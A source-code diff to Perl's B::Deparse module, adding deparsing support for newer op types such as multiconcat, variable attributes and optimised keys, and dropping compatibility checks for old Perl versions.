-                            if $use_dec =~ /^use \S+ \(@\{\$args\[0\];\}\);/;
+                        if $use_dec =~
+                            m/
+                                \A
+                                use \s \S+ \s \(\@\{
+                                (
+                                    \s*\#line\ \d+\ \".*"\s*
+                                )?
+                                \$args\[0\];\}\);
+                                \n
+                                \Z
+                            /x;
 
 		$use_dec =~ s/^(use|no)\b/$self->keyword($1)/e;
 	    }
@@ -612,6 +552,9 @@
     my $req_op = $lineseq->first->sibling;
     return if $req_op->name ne "require";
 
+    # maybe it's C<require expr> rather than C<require 'foo'>
+    return if ($req_op->first->name ne 'const');
+
     my $module;
     if ($req_op->first->private & OPpCONST_BARE) {
 	# Actually it should always be a bareword
@@ -715,7 +658,8 @@
 	if ($seen ||= {})->{
 	    $INC{"overload.pm"} ? overload::StrVal($stash) : $stash
 	   }++;
-    my %stash = svref_2object($stash)->ARRAY;
+    my $stashobj = svref_2object($stash);
+    my %stash = $stashobj->ARRAY;
     while (my ($key, $val) = each %stash) {
 	my $flags = $val->FLAGS;
 	if ($flags & SVf_ROK) {
@@ -756,7 +700,20 @@
 	} elsif (class($val) eq "GV") {
 	    if (class(my $cv = $val->CV) ne "SPECIAL") {
 		next if $self->{'subs_done'}{$$val}++;
-		next if $$val != ${$cv->GV};   # Ignore imposters
+
+                # Ignore imposters (aliases etc)
+                my $name = $cv->NAME_HEK;
+                if(defined $name) {
+                    # avoid using $cv->GV here because if the $val GV is
+                    # an alias, CvGV() could upgrade the real stash entry
+                    # from an RV to a GV
+                    next unless $name eq $key;
+                    next unless $$stashobj == ${$cv->STASH};
+                }
+                else {
+                   next if $$val != ${$cv->GV};
+                }
+
 		$self->todo($cv, 0);
 	    }
 	    if (class(my $cv = $val->FORM) ne "SPECIAL") {
@@ -776,6 +733,14 @@
     my $ar;
     my @ret;
     foreach $ar (@{$self->{'protos_todo'}}) {
+	if (ref $ar->[1]) {
+	    # Only print a constant if it occurs in the same package as a
+	    # dumped sub.  This is not perfect, but a heuristic that will
+	    # hopefully work most of the time.  Ideally we would use
+	    # CvFILE, but a constant stub has no CvFILE.
+	    my $pack = ($ar->[0] =~ /(.*)::/)[0];
+	    next if $pack and !$self->{packs}{$pack}
+	}
 	my $body = defined $ar->[1]
 		? ref $ar->[1]
 		    ? " () {\n    " . $self->const($ar->[1]->RV,0) . ";\n}"
@@ -817,6 +782,7 @@
     $self->{'ex_const'} = "'???'";
     $self->{'expand'} = 0;
     $self->{'files'} = {};
+    $self->{'packs'} = {};
     $self->{'indent_size'} = 4;
     $self->{'linenums'} = 0;
     $self->{'parens'} = 0;
@@ -876,7 +842,6 @@
 				? $self->{'ambient_warnings'} & WARN_MASK
 				: undef;
     $self->{'hints'}    = $self->{'ambient_hints'};
-    $self->{'hints'} &= 0xFF if $] < 5.009;
     $self->{'hinthash'} = $self->{'ambient_hinthash'};
 
     # also a convenient place to clear out subs_declared
@@ -1219,7 +1184,7 @@
 #
 # Normally a bunch of argelem ops will have been generated by the
 # signature parsing, but it's possible that ops have been added manually
-# or altered. In this case we "return ()" and fall back to general
+# or altered. In this case we return "()" and fall back to general
 # deparsing of the individual sigelems as 'my $x = $_[N]' etc.
 #
 # We're only called if the first two ops are nextstate and argcheck.
@@ -1310,13 +1275,14 @@
 
 # Deparse a sub. Returns everything except the 'sub foo',
 # e.g.  ($$) : method { ...; }
-# or    ($a, $b) : prototype($$) lvalue;
+# or    : prototype($$) lvalue ($a, $b) { ...; };
 
 sub deparse_sub {
     my $self = shift;
     my $cv = shift;
     my @attrs;
-    my $protosig; # prototype or signature (what goes in the (....))
+    my $proto;
+    my $sig;
 
 Carp::confess("NULL in deparse_sub") if !defined($cv) || $cv->isa("B::NULL");
 Carp::confess("SPECIAL in deparse_sub") if $cv->isa("B::SPECIAL");
@@ -1324,17 +1290,16 @@
 
     my $has_sig = $self->{hinthash}{feature_signatures};
     if ($cv->FLAGS & SVf_POK) {
-	my $proto = $cv->PV;
+	my $myproto = $cv->PV;
 	if ($has_sig) {
-            push @attrs, "prototype($proto)";
+            push @attrs, "prototype($myproto)";
         }
         else {
-            $protosig = $proto;
+            $proto = $myproto;
         }
     }
     if ($cv->CvFLAGS & (CVf_METHOD|CVf_LOCKED|CVf_LVALUE|CVf_ANONCONST)) {
         push @attrs, "lvalue" if $cv->CvFLAGS & CVf_LVALUE;
-        push @attrs, "locked" if $cv->CvFLAGS & CVf_LOCKED;
         push @attrs, "method" if $cv->CvFLAGS & CVf_METHOD;
         push @attrs, "const"  if $cv->CvFLAGS & CVf_ANONCONST;
     }
@@ -1362,10 +1327,10 @@
                      and $$o2)
                 {
                     if ($o2->name eq 'argcheck') {
-                        my ($nexto, $sig) = $self->deparse_argops($firstop, $cv);
+                        my ($nexto, $mysig) = $self->deparse_argops($firstop, $cv);
                         if (defined $nexto) {
                             $firstop = $nexto;
-                            $protosig = $sig;
+                            $sig = $mysig;
                         }
                     }
                 }
@@ -1390,7 +1355,18 @@
 	else {
 	    $body = $self->deparse($root->first, 0);
 	}
-        $body = "{\n\t$body\n\b}";
+
+        my $l = '';
+        if ($self->{'linenums'}) {
+            # a glob's gp_line is set from the line containing a
+            # sub's closing '}' if the CV is the first use of the GV.
+            # So make sure the linenum is set correctly for '}'
+            my $gv = $cv->GV;
+            my $line = $gv->LINE;
+            my $file = $gv->FILE;
+            $l = "\f#line $line \"$file\"\n";
+        }
+        $body = "{\n\t$body\n$l\b}";
     }
     else {
 	my $sv = $cv->const_sv;
@@ -1401,10 +1377,11 @@
 	    $body = ';'
 	}
     }
-    $protosig = defined $protosig ? "($protosig) " : "";
+    $proto = defined $proto ? "($proto) " : "";
+    $sig   = defined $sig   ? "($sig) "   : "";
     my $attrs = '';
     $attrs = ': ' . join('', map "$_ ", @attrs) if @attrs;
-    return "$protosig$attrs$body\n";
+    return "$proto$attrs$sig$body\n";
 }
 
 sub deparse_format {
@@ -1598,7 +1575,7 @@
 	    if $self->{'avoid_local'}{$$op};
 	if ($need_parens) {
 	    return "$our_local($text)";
-	} elsif (want_scalar($op)) {
+	} elsif (want_scalar($op) || $our_local eq 'our') {
 	    return "$our_local $text";
 	} else {
 	    return $self->maybe_parens_func("$our_local", $text, $cx, 16);
@@ -1846,7 +1823,7 @@
 sub stash_variable {
     my ($self, $prefix, $name, $cx) = @_;
 
-    return "$prefix$name" if $name =~ /::/;
+    return $prefix.$self->maybe_qualify($prefix, $name) if $name =~ /::/;
 
     unless ($prefix eq '$' || $prefix eq '@' || $prefix eq '&' || #'
 	    $prefix eq '%' || $prefix eq '$#') {
@@ -1922,11 +1899,16 @@
 sub maybe_qualify {
     my ($self,$prefix,$name) = @_;
     my $v = ($prefix eq '$#' ? '@' : $prefix) . $name;
-    return $name if !$prefix || $name =~ /::/;
+    if ($prefix eq "") {
+	$name .= "::" if $name =~ /(?:\ACORE::[^:]*|::)\z/;
+	return $name;
+    }
+    return $name if $name =~ /::/;
     return $self->{'curstash'}.'::'. $name
 	if
 	    $name =~ /^(?!\d)\w/         # alphabetic
 	 && $v    !~ /^\$[ab]\z/	 # not $a or $b
+	 && $v =~ /\A[\$\@\%\&]/         # scalar, array, hash, or sub
 	 && !$globalnames{$name}         # not a global name
 	 && $self->{hints} & $strict_bits{vars}  # strict vars
 	 && !$self->lex_in_scope($v,1)   # no "our"
@@ -2016,14 +1998,6 @@
 sub cop_subs {
     my ($self, $op, $out_seq) = @_;
     my $seq = $op->cop_seq;
-    if ($] < 5.021006) {
-      # If we have nephews, then our sequence number indicates
-      # the cop_seq of the end of some sort of scope.
-      if (class($op->sibling) ne "NULL" && $op->sibling->flags & OPf_KIDS
-	and my $nseq = $self->find_scope_st($op->sibling) ) {
-	$seq = $nseq;
-      }
-    }
     $seq = $out_seq if defined($out_seq) && $out_seq < $seq;
     return $self->seq_subs($seq);
 }
@@ -2105,7 +2079,7 @@
 	$self->{'warnings'} = $warning_bits;
     }
 
-    my $hints = $] < 5.008009 ? $op->private : $op->hints;
+    my $hints = $op->hints;
     my $old_hints = $self->{'hints'};
     if ($self->{'hints'} != $hints) {
 	push @text, $self->declare_hints($self->{'hints'}, $hints);
@@ -2113,11 +2087,9 @@
     }
 
     my $newhh;
-    if ($] > 5.009) {
-	$newhh = $op->hints_hash->HASH;
-    }
+    $newhh = $op->hints_hash->HASH;
 
-    if ($] >= 5.015006) {
+    {
 	# feature bundle hints
 	my $from = $old_hints & $feature::hint_mask;
 	my $to   = $    hints & $feature::hint_mask;
@@ -2142,7 +2114,7 @@
 	}
     }
 
-    if ($] > 5.009) {
+    {
 	push @text, $self->declare_hinthash(
 	    $self->{'hinthash'}, $newhh,
 	    $self->{indent_size}, $self->{hints},
@@ -2188,12 +2160,18 @@
 
 sub declare_warnings {
     my ($self, $from, $to) = @_;
-    if (($to & WARN_MASK) eq (warnings::bits("all") & WARN_MASK)) {
-	return $self->keyword("use") . " warnings;\n";
+    $from //= '';
+    my $all = (warnings::bits("all") & WARN_MASK);
+    unless ((($from & WARN_MASK) & ~$all) =~ /[^\0]/) {
+        # no FATAL bits need turning off
+        if (   ($to & WARN_MASK) eq $all) {
+            return $self->keyword("use") . " warnings;\n";
+        }
+        elsif (($to & WARN_MASK) eq ("\0"x length($to) & WARN_MASK)) {
+            return $self->keyword("no") . " warnings;\n";
+        }
     }
-    elsif (($to & WARN_MASK) eq ("\0"x length($to) & WARN_MASK)) {
-	return $self->keyword("no") . " warnings;\n";
-    }
+
     return "BEGIN {\${^WARNING_BITS} = \""
            . join("", map { sprintf("\\x%02x", ord $_) } split "", $to)
            . "\"}\n\cK";
@@ -2235,7 +2213,7 @@
     my @unfeatures; # bugs?
     for my $key (sort keys %$to) {
 	next if $ignored_hints{$key};
-	my $is_feature = $key =~ /^feature_/ && $^V ge 5.15.6;
+	my $is_feature = $key =~ /^feature_/;
 	next if $is_feature and not $doing_features;
 	if (!exists $from->{$key} or $from->{$key} ne $to->{$key}) {
 	    push(@features, $key), next if $is_feature;
@@ -2251,7 +2229,7 @@
     }
     for my $key (sort keys %$from) {
 	next if $ignored_hints{$key};
-	my $is_feature = $key =~ /^feature_/ && $^V ge 5.15.6;
+	my $is_feature = $key =~ /^feature_/;
 	next if $is_feature and not $doing_features;
 	if (!exists $to->{$key}) {
 	    push(@unfeatures, $key), next if $is_feature;
@@ -2649,7 +2627,7 @@
     my($op, $cx) = @_;
     my $arg;
     my $name = $self->keyword("delete");
-    if ($op->private & OPpSLICE) {
+    if ($op->private & (OPpSLICE|OPpKVSLICE)) {
 	if ($op->flags & OPf_SPECIAL) {
 	    # Deleting from an array, not a hash
 	    return $self->maybe_parens_func($name,
@@ -3008,7 +2986,7 @@
     my $leftop = $left;
     $left = $self->deparse_binop_left($op, $left, $prec);
     $left = "($left)" if $flags & LIST_CONTEXT
-		     and    $left !~ /^(my|our|local|)[\@\(]/
+		     and    $left !~ /^(my|our|local|state|)\s*[\@%\(]/
 			 || do {
 				# Parenthesize if the left argument is a
 				# lone repeat op.
@@ -3072,7 +3050,7 @@
 
 sub pp_smartmatch {
     my ($self, $op, $cx) = @_;
-    if ($op->flags & OPf_SPECIAL) {
+    if (($op->flags & OPf_SPECIAL) && $self->{expand} < 2) {
 	return $self->deparse($op->last, $cx);
     }
     else {
@@ -3091,7 +3069,8 @@
     my $right = $op->last;
     my $eq = "";
     my $prec = 18;
-    if ($op->flags & OPf_STACKED and $op->first->name ne "concat") {
+    if (($op->flags & OPf_STACKED) and !($op->private & OPpCONCAT_NESTED)) {
+        # '.=' rather than optimised '.'
 	$eq = "=";
 	$prec = 7;
     }
@@ -3287,9 +3266,35 @@
     }
     maybe_local(@_, listop(@_, "substr"))
 }
+
+sub pp_index {
+    # Also handles pp_rindex.
+    #
+    # The body of this function includes an unrolled maybe_targmy(),
+    # since the two parts of that sub's actions need to have have the
+    # '== -1' bit in between
+
+    my($self, $op, $cx) = @_;
+
+    my $lex  = ($op->private & OPpTARGET_MY);
+    my $bool = ($op->private & OPpTRUEBOOL);
+
+    my $val = $self->listop($op, ($bool ? 14 : $lex ? 7 : $cx), $op->name);
+
+    # (index() == -1) has op_eq and op_const optimised away
+    if ($bool) {
+        $val .= ($op->private & OPpINDEX_BOOLNEG) ? " == -1" : " != -1";
+        $val = "($val)" if ($op->flags & OPf_PARENS);
+    }
+    if ($lex) {
+	my $var = $self->padname($op->targ);
+	$val = $self->maybe_parens("$var = $val", $cx, 7);
+    }
+    $val;
+}
+
+sub pp_rindex { pp_index(@_); }
 sub pp_vec { maybe_targmy(@_, \&maybe_local, listop(@_, "vec")) }
-sub pp_index { maybe_targmy(@_, \&listop, "index") }
-sub pp_rindex { maybe_targmy(@_, \&listop, "rindex") }
 sub pp_sprintf { maybe_targmy(@_, \&listop, "sprintf") }
 sub pp_formline { listop(@_, "formline") } # see also deparse_format
 sub pp_crypt { maybe_targmy(@_, \&listop, "crypt") }
@@ -3517,9 +3522,175 @@
     delete @uses_intro{qw( lvref lvrefslice lvavref entersub )};
 }
 
+
+# Look for a my/state attribute declaration in a list or ex-list.
+# Returns undef if not found, 'my($x, @a) :Foo(bar)' etc otherwise.
+#
+# There are three basic tree structs that are expected:
+#
+# my $x :foo;
+#      <1> ex-list vK/LVINTRO ->c
+#         <0> ex-pushmark v ->3
+#         <1> entersub[t2] vKRS*/TARG ->b
+#                ....
+#         <0> padsv[$x:64,65] vM/LVINTRO ->c
+#
+# my @a :foo;
+# my %h :foo;
+#
+#      <1> ex-list vK ->c
+#         <0> ex-pushmark v ->3
+#         <0> padav[@a:64,65] vM/LVINTRO ->4
+#         <1> entersub[t2] vKRS*/TARG ->c
+#            ....
+#
+# my ($x, at a,%h) :foo;
+#
+#      <;> nextstate(main 64 -e:1) v:{ ->3
+#      <@> list vKP ->w
+#         <0> pushmark vM/LVINTRO ->4
+#         <0> padsv[$x:64,65] vM/LVINTRO ->5
+#         <0> padav[@a:64,65] vM/LVINTRO ->6
+#         <0> padhv[%h:64,65] vM/LVINTRO ->7
+#         <1> entersub[t4] vKRS*/TARG ->f
+#            ....
+#         <1> entersub[t5] vKRS*/TARG ->n
+#            ....
+#         <1> entersub[t6] vKRS*/TARG ->v
+#           ....
+# where the entersub in all cases looks like
+#        <1> entersub[t2] vKRS*/TARG ->c
+#           <0> pushmark s ->5
+#           <$> const[PV "attributes"] sM ->6
+#           <$> const[PV "main"] sM ->7
+#           <1> srefgen sKM/1 ->9
+#              <1> ex-list lKRM ->8
+#                 <0> padsv[@a:64,65] sRM ->8
+#           <$> const[PV "foo"] sM ->a
+#           <.> method_named[PV "import"] ->b
+
+sub maybe_var_attr {
+    my ($self, $op, $cx) = @_;
+
+    my $kid = $op->first->sibling; # skip pushmark
+    return if class($kid) eq 'NULL';
+
+    my $lop;
+    my $type;
+
+    # Extract out all the pad ops and entersub ops into
+    # @padops and @entersubops. Return if anything else seen.
+    # Also determine what class (if any) all the pad vars belong to
+    my $class;
+    my $decl; # 'my' or 'state'
+    my (@padops, @entersubops);
+    for ($lop = $kid; !null($lop); $lop = $lop->sibling) {
+	my $lopname = $lop->name;
+	my $loppriv = $lop->private;
+        if ($lopname =~ /^pad[sah]v$/) {
+            return unless $loppriv & OPpLVAL_INTRO;
+
+            my $padname = $self->padname_sv($lop->targ);
+            my $thisclass = ($padname->FLAGS & SVpad_TYPED)
+                                ? $padname->SvSTASH->NAME : 'main';
+
+            # all pad vars must be in the same class
+            $class //= $thisclass;
+            return unless $thisclass eq $class;
+
+            # all pad vars must be the same sort of declaration
+            # (all my, all state, etc)
+            my $this = ($loppriv & OPpPAD_STATE) ? 'state' : 'my';
+            if (defined $decl) {
+                return unless $this eq $decl;
+            }
+            $decl = $this;
+
+            push @padops, $lop;
+        }
+        elsif ($lopname eq 'entersub') {
+            push @entersubops, $lop;
+        }
+        else {
+            return;
+        }
+    }
+
+    return unless @padops && @padops == @entersubops;
+
+    # there should be a balance: each padop has a corresponding
+    # 'attributes'->import() method call, in the same order.
+
+    my @varnames;
+    my $attr_text;
+
+    for my $i (0..$#padops) {
+        my $padop = $padops[$i];
+        my $esop  = $entersubops[$i];
+
+        push @varnames, $self->padname($padop->targ);
+
+        return unless ($esop->flags & OPf_KIDS);
+
+        my $kid = $esop->first;
+        return unless $kid->type == OP_PUSHMARK;
+
+        $kid = $kid->sibling;
+        return unless $$kid && $kid->type == OP_CONST;
+	return unless $self->const_sv($kid)->PV eq 'attributes';
+
+        $kid = $kid->sibling;
+        return unless $$kid && $kid->type == OP_CONST; # __PACKAGE__
+
+        $kid = $kid->sibling;
+        return unless  $$kid
+                    && $kid->name eq "srefgen"
+                    && ($kid->flags & OPf_KIDS)
+                    && ($kid->first->flags & OPf_KIDS)
+                    && $kid->first->first->name =~ /^pad[sah]v$/
+                    && $kid->first->first->targ == $padop->targ;
+
+        $kid = $kid->sibling;
+        my @attr;
+        while ($$kid) {
+            last if ($kid->type != OP_CONST);
+            push @attr, $self->const_sv($kid)->PV;
+            $kid = $kid->sibling;
+        }
+        return unless @attr;
+        my $thisattr = ":" . join(' ', @attr);
+        $attr_text //= $thisattr;
+        # all import calls must have the same list of attributes
+        return unless $attr_text eq $thisattr;
+
+        return unless $kid->name eq 'method_named';
+	return unless $self->meth_sv($kid)->PV eq 'import';
+
+        $kid = $kid->sibling;
+        return if $$kid;
+    }
+
+    my $res = $decl;
+    $res .= " $class " if $class ne 'main';
+    $res .=
+            (@varnames > 1)
+            ? "(" . join(', ', @varnames) . ')'
+            : " $varnames[0]";
+
+    return "$res $attr_text";
+}
+
+
 sub pp_list {
     my $self = shift;
     my($op, $cx) = @_;
+
+    {
+        # might be my ($s, at a,%h) :Foo(bar);
+        my $my_attr = maybe_var_attr($self, $op, $cx);
+        return $my_attr if defined $my_attr;
+    }
+
     my($expr, @exprs);
     my $kid = $op->first->sibling; # skip pushmark
     return '' if class($kid) eq 'NULL';
@@ -3597,6 +3768,10 @@
 	push @exprs, $expr;
     }
     if ($local) {
+        if (@exprs == 1 && ($local eq 'state' || $local eq 'CORE::state')) {
+            # 'state @a = ...' is legal, while 'state(@a) = ...' currently isn't
+            return "$local $exprs[0]";
+        }
 	return "$local(" . join(", ", @exprs) . ")";
     } else {
 	return $self->maybe_parens( join(", ", @exprs), $cx, 6);	
@@ -3813,6 +3988,13 @@
 
 sub pp_null {
     my($self, $op, $cx) = @_;
+
+    # might be 'my $s :Foo(bar);'
+    if ($op->targ == OP_LIST) {
+        my $my_attr = maybe_var_attr($self, $op, $cx);
+        return $my_attr if defined $my_attr;
+    }
+
     if (class($op) eq "OP") {
 	# old value is lost
 	return $self->{'ex_const'} if $op->targ == OP_CONST;
@@ -3889,8 +4071,32 @@
 }
 
 sub pp_padav { pp_padsv(@_) }
-sub pp_padhv { pp_padsv(@_) }
 
+# prepend 'keys' where its been optimised away, with suitable handling
+# of CORE:: and parens
+
+sub add_keys_keyword {
+    my ($self, $str, $cx) = @_;
+    $str = $self->maybe_parens($str, $cx, 16);
+    # 'keys %h' versus 'keys(%h)'
+    $str = " $str" unless $str =~ /^\(/;
+    return $self->keyword("keys") . $str;
+}
+
+sub pp_padhv {
+    my ($self, $op, $cx) = @_;
+    my $str =  pp_padsv(@_);
+    # with OPpPADHV_ISKEYS the keys op is optimised away, except
+    # in scalar context the old op is kept (but not executed) so its targ
+    # can be used.
+    if (     ($op->private & OPpPADHV_ISKEYS)
+        && !(($op->flags & OPf_WANT) == OPf_WANT_SCALAR))
+    {
+        $str = $self->add_keys_keyword($str, $cx);
+    }
+    $str;
+}
+
 sub gv_or_padgv {
     my $self = shift;
     my $op = shift;
@@ -3913,7 +4119,7 @@
     my $self = shift;
     my($op, $cx) = @_;
     my $gv = $self->gv_or_padgv($op);
-    return $self->gv_name($gv);
+    return $self->maybe_qualify("", $self->gv_name($gv));
 }
 
 sub pp_aelemfast_lex {
@@ -3950,7 +4156,8 @@
     }
     my $kid = $op->first;
     if ($kid->name eq "gv") {
-	return $self->stash_variable($type, $self->deparse($kid, 0), $cx);
+	return $self->stash_variable($type,
+		    $self->gv_name($self->gv_or_padgv($kid)), $cx);
     } elsif (is_scalar $kid) {
 	my $str = $self->deparse($kid, 0);
 	if ($str =~ /^\$([^\w\d])\z/) {
@@ -3972,18 +4179,43 @@
 }
 
 sub pp_rv2sv { maybe_local(@_, rv2x(@_, "\$")) }
-sub pp_rv2hv { maybe_local(@_, rv2x(@_, "%")) }
 sub pp_rv2gv { maybe_local(@_, rv2x(@_, "*")) }
 
+sub pp_rv2hv {
+    my ($self, $op, $cx) = @_;
+    my $str = rv2x(@_, "%");
+    if ($op->private & OPpRV2HV_ISKEYS) {
+        $str = $self->add_keys_keyword($str, $cx);
+    }
+    return maybe_local(@_, $str);
+}
+
 # skip rv2av
 sub pp_av2arylen {
     my $self = shift;
     my($op, $cx) = @_;
-    if ($op->first->name eq "padav") {
-	return $self->maybe_local($op, $cx, '$#' . $self->padany($op->first));
+    my $kid = $op->first;
+    if ($kid->name eq "padav") {
+	return $self->maybe_local($op, $cx, '$#' . $self->padany($kid));
     } else {
-	return $self->maybe_local($op, $cx,
-				  $self->rv2x($op->first, $cx, '$#'));
+        my $kkid;
+        if (   $kid->name eq "rv2av"
+           && ($kkid = $kid->first)
+           && $kkid->name !~ /^(scope|leave|gv)$/)
+        {
+            # handle (expr)->$#* postfix form
+            my $expr;
+            $expr = $self->deparse($kkid, 24); # 24 is '->'
+            $expr = "$expr->\$#*";
+            # XXX maybe_local is probably wrong here: local($#-expression)
+            # doesn't "do" local (the is no INTRO flag set)
+            return $self->maybe_local($op, $cx, $expr);
+        }
+        else {
+            # handle $#{expr} form
+            # XXX see maybe_local comment above
+            return $self->maybe_local($op, $cx, $self->rv2x($kid, $cx, '$#'));
+        }
     }
 }
 
@@ -4153,6 +4385,146 @@
 }
 
 
+# deparse an OP_MULTICONCAT. If $in_dq is 1, we're within
+# a double-quoted string, so for example.
+#     "abc\Qdef$x\Ebar"
+# might get compiled as
+#    multiconcat("abc", metaquote(multiconcat("def", $x)), "bar")
+# and the inner multiconcat should be deparsed as C<def$x> rather than
+# the normal C<def . $x>
+# Ditto if  $in_dq is 2, handle qr/...\Qdef$x\E.../.
+
+sub do_multiconcat {
+    my $self = shift;
+    my($op, $cx, $in_dq) = @_;
+
+    my $kid;
+    my @kids;
+    my $assign;
+    my $append;
+    my $lhs = "";
+
+    for ($kid = $op->first; !null $kid; $kid = $kid->sibling) {
+        # skip the consts and/or padsv we've optimised away
+        push @kids, $kid
+            unless $kid->type == OP_NULL
+              && (   $kid->targ == OP_PADSV
+                  || $kid->targ == OP_CONST
+                  || $kid->targ == OP_PUSHMARK);
+    }
+
+    $append = ($op->private & OPpMULTICONCAT_APPEND);
+
+    if ($op->private & OPpTARGET_MY) {
+        # '$lex  = ...' or '$lex .= ....' or 'my $lex = '
+        $lhs = $self->padname($op->targ);
+        $lhs = "my $lhs" if ($op->private & OPpLVAL_INTRO);
+        $assign = 1;
+    }
+    elsif ($op->flags & OPf_STACKED) {
+        # 'expr  = ...' or 'expr .= ....'
+        my $expr = $append ? shift(@kids) : pop(@kids);
+        $lhs = $self->deparse($expr, 7);
+        $assign = 1;
+    }
+
+    if ($assign) {
+        $lhs .=  $append ? ' .= ' : ' = ';
+    }
+
+    my ($nargs, $const_str, @const_lens) = $op->aux_list($self->{curcv});
+
+    my @consts;
+    my $i = 0;
+    for (@const_lens) {
+        if ($_ == -1) {
+            push @consts, undef;
+        }
+        else {
+            push @consts, substr($const_str, $i, $_);
+        my @args;
+            $i += $_;
+        }
+    }
+
+    my $rhs = "";
+
+    if (   $in_dq
+        || (($op->private & OPpMULTICONCAT_STRINGIFY) && !$self->{'unquote'}))
+    {
+        # "foo=$foo bar=$bar "
+        my $not_first;
+        while (@consts) {
+            if ($not_first) {
+                my $s = $self->dq(shift(@kids), 18);
+                # don't deparse "a${$}b" as "a$$b"
+                $s = '${$}' if $s eq '$$';
+                $rhs = dq_disambiguate($rhs, $s);
+            }
+            $not_first = 1;
+            my $c = shift @consts;
+            if (defined $c) {
+                if ($in_dq == 2) {
+                    # in pattern: don't convert newline to '\n' etc etc
+                    my $s = re_uninterp(escape_re(re_unback($c)));
+                    $rhs = re_dq_disambiguate($rhs, $s)
+                }
+                else {
+                    my $s = uninterp(escape_str(unback($c)));
+                    $rhs = dq_disambiguate($rhs, $s)
+                }
+            }
+        }
+        return $rhs if $in_dq;
+        $rhs = single_delim("qq", '"', $rhs, $self);
+    }
+    elsif ($op->private & OPpMULTICONCAT_FAKE) {
+        # sprintf("foo=%s bar=%s ", $foo, $bar)
+
+        my @all;
+        @consts = map { $_ //= ''; s/%/%%/g; $_ } @consts;
+        my $fmt = join '%s', @consts;
+        push @all, $self->quoted_const_str($fmt);
+
+        # the following is a stripped down copy of sub listop {}
+        my $parens = $assign || ($cx >= 5) || $self->{'parens'};
+        my $fullname = $self->keyword('sprintf');
+        push @all, map $self->deparse($_, 6), @kids;
+
+        $rhs = $parens
+                ? "$fullname(" . join(", ", @all) . ")"
+                : "$fullname " . join(", ", @all);
+    }
+    else {
+        # "foo=" . $foo . " bar=" . $bar
+        my @all;
+        my $not_first;
+        while (@consts) {
+            push @all, $self->deparse(shift(@kids), 18) if $not_first;
+            $not_first = 1;
+            my $c = shift @consts;
+            if (defined $c) {
+                push @all, $self->quoted_const_str($c);
+            }
+        }
+        $rhs .= join ' . ', @all;
+    }
+
+    my $text = $lhs . $rhs;
+
+    $text = "($text)" if     ($cx >= (($assign) ? 7 : 18+1))
+                          || $self->{'parens'};
+
+    return $text;
+}
+
+
+sub pp_multiconcat {
+    my $self = shift;
+    $self->do_multiconcat(@_, 0);
+}
+
+
 sub pp_multideref {
     my $self = shift;
     my($op, $cx) = @_;
@@ -4292,6 +4664,7 @@
     my $scope = is_scope($glob);
     $glob = $self->deparse($glob, 0);
     $part = $self->deparse($part, 1);
+    $glob =~ s/::\z// unless $scope;
     return "*" . ($scope ? "{$glob}" : $glob) . "{$part}";
 }
 
@@ -4320,8 +4693,9 @@
     } else {
 	$list = $self->elem_or_slice_single_index($kid);
     }
-    my $lead = '@';
-    $lead = '%' if $op->name =~ /^kv/i;
+    my $lead = (   _op_is_or_was($op, OP_KVHSLICE)
+                || _op_is_or_was($op, OP_KVASLICE))
+               ? '%' : '@';
     return $lead . $array . $left . $list . $right;
 }
 
@@ -4534,7 +4908,7 @@
                  |study|pos|preinc|i_preinc|predec|i_predec|postinc
                  |i_postinc|postdec|i_postdec|pow|multiply|i_multiply
                  |divide|i_divide|modulo|i_modulo|add|i_add|subtract
-                 |i_subtract|concat|stringify|left_shift|right_shift|lt
+                 |i_subtract|concat|multiconcat|stringify|left_shift|right_shift|lt
                  |i_lt|gt|i_gt|le|i_le|ge|i_ge|eq|i_eq|ne|i_ne|ncmp|i_ncmp
                  |slt|sgt|sle|sge|seq|sne|scmp|[sn]?bit_(?:and|x?or)|negate
                  |i_negate|not|[sn]?complement|smartmatch|atan2|sin|cos
@@ -4596,7 +4970,7 @@
 	    $proto = $cv->PV if $cv->FLAGS & SVf_POK;
 	}
 	$simple = 1; # only calls of named functions can be prototyped
-	$kid = $self->deparse($kid, 24);
+	$kid = $self->maybe_qualify("!", $self->gv_name($gv));
 	my $fq;
 	# Fully qualify any sub name that conflicts with a lexical.
 	if ($self->lex_in_scope("&$kid")
@@ -4808,11 +5182,33 @@
 
 # Remove backslashes which precede literal control characters,
 # to avoid creating ambiguity when we escape the latter.
+#
+# Don't remove a backslash from escaped whitespace: where the T represents
+# a literal tab character, /T/x is not equivalent to /\T/x
+
 sub re_unback {
     my($str) = @_;
 
     # the insane complexity here is due to the behaviour of "\c\"
-    $str =~ s/(^|[^\\]|\\c\\)(?<!\\c)\\(\\\\)*(?=[[:^print:]])/$1$2/g;
+    $str =~ s/
+                # these two lines ensure that the backslash we're about to
+                # remove isn't preceeded by something which makes it part
+                # of a \c
+
+                (^ | [^\\] | \\c\\)             # $1
+                (?<!\\c)
+
+                # the backslash to remove
+                \\
+
+                # keep pairs of backslashes
+                (\\\\)*                         # $2
+
+                # only remove if the thing following is a control char
+                (?=[[:^print:]])
+                # and not whitespace
+                (?=\S)
+            /$1$2/xg;
     return $str;
 }
 
@@ -4888,6 +5284,20 @@
     return ($mantissa, $exponent);
 }
 
+
+# suitably single- or double-quote a literal constant string
+
+sub quoted_const_str {
+    my ($self, $str) =@_;
+    if ($str =~ /[[:^print:]]/a) {
+        return single_delim("qq", '"',
+                             uninterp(escape_str unback $str), $self);
+    } else {
+        return single_delim("q", "'", unback($str), $self);
+    }
+}
+
+
 sub const {
     my $self = shift;
     my($sv, $cx) = @_;
@@ -4973,13 +5383,8 @@
 	    }
 	    return "{" . join(", ", @elts) . "}";
 	} elsif ($class eq "CV") {
-	    BEGIN {
-		if ($] > 5.0150051) {
-		    require overloading;
-		    unimport overloading;
-		}
-	    }
-	    if ($] > 5.0150051 && $self->{curcv} &&
+	    no overloading;
+	    if ($self->{curcv} &&
 		 $self->{curcv}->object_2svref == $ref->object_2svref) {
 		return $self->keyword("__SUB__");
 	    }
@@ -5001,12 +5406,7 @@
 	return $self->maybe_parens("\\$const", $cx, 20);
     } elsif ($sv->FLAGS & SVf_POK) {
 	my $str = $sv->PV;
-	if ($str =~ /[[:^print:]]/a) {
-	    return single_delim("qq", '"',
-				 uninterp(escape_str unback $str), $self);
-	} else {
-	    return single_delim("q", "'", unback($str), $self);
-	}
+        return $self->quoted_const_str($str);
     } else {
 	return "undef";
     }
@@ -5066,6 +5466,25 @@
     return $self->const($sv, $cx);
 }
 
+
+# Join two components of a double-quoted string, disambiguating
+# "${foo}bar", "${foo}{bar}", "${foo}[1]", "$foo\::bar"
+
+sub dq_disambiguate {
+    my ($first, $last) = @_;
+    ($last =~ /^[A-Z\\\^\[\]_?]/ &&
